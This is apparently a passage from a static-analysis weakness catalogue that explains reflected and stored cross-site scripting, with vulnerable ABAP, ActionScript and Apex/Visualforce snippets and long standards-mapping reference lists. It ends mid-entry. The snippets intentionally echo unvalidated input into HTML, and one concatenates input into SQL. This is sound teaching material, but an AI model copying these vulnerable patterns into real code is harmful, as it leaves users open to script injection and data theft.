545 items found
Weaknesses
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following ABAP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


...
eid = request->get_form_field( 'eid' ).
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( eid ).
...


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following ABAP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.

SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
...
response->append_cdata( 'Employee Name: ').
response->append_cdata( itab_employees-name ).
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] SAP OSS notes 1582870, 1582867 and related notes for ABAP XSS support
[2] SAP OSS Notes 822881, 1600317, 1640092, 1671470 and 1638779 for XSS support in BSPs
[3] Understanding Malicious Content Mitigation for Web Developers CERT
[4] HTML 4.01 Specification W3
[5] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[6] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[13] Standards Mapping - FIPS200 SI
[14] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[21] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2021 A03 Injection
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[38] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.abap.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following ActionScript code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + eid;
...


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following ActionScript code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + name;
}


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.actionscript.cross_site_scripting_reflected
Abstract
Sending unvalidated data to the web browser may lead to the execution of malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, an untrusted source is most frequently a web request, and in the case of persistent (also known as stored) XSS it is the results of a database query.

2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content usually is a segment of JavaScript code, but can also be HML, Flash or any other active content that might be executed by the browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.


Example 1: The following Visualforce code segment reads an HTTP request parameter, username, and displays it to the user.


<script>
document.write('{!$CurrentPage.parameters.username}')
</script>


The code in this example was intended to receive only alphanumeric text and display it. However, if username contains metacharacters or source code, it will be executed by the web browser.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following Apex code segment queries a database for a contact name with a given ID and returns the corresponding employee's name, which later gets printed by the Visualforce code.


...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...

<div onclick="this.innerHTML='Hello {!variable}'">Click me!</div>


As in Example 1, this code behaves correctly when the values of name are well defined like just alphanumeric characters, but does nothing to check for malicious data. Even read from a database, the value should be properly validated because the content of the database can be originated from user-supplied data. This way, an attacker can have malicious commands executed in the user's web browser without the need to interact with the victim like in Reflected XSS. This type of attack, known as Stored XSS (or Persistent), can be very hard to detect since the data is indirectly provided to the vulnerable function and also have a higher impact due to the possibility to affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are two vectors by which an XSS attack can be executed:

- As in Example 1, data is read from the HTTP request and reflected back in the HTTP response. Reflected XSS occurs when an attacker can have dangerous content delivered to a vulnerable web application and then reflected back to the user and execute by his browser. The most common mechanism to deliver malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to the victim. URLs crafted this way are the core of many phishing schemes, where the attacker lures the victim to visit the URL. After the site reflects the content back to the user, it is executed and can perform several actions like forward private sensitive information, execute unauthorized operations on the victim computer etc.

- As in Example 2, the database or other data store can provide dangerous data to the application that will be included in dynamic content. From the attacker's perspective, the best place to store malicious content is an area accessible to all users specially those with elevated privileges, who are more likely to handle sensitive information or perform critical operations.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Salesforce Developers Technical Library Secure Coding Guidelines - Cross Site Scripting
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[64] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.apex.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following ASP.NET Web Form reads an employee ID number from an HTTP request and displays it to the user.

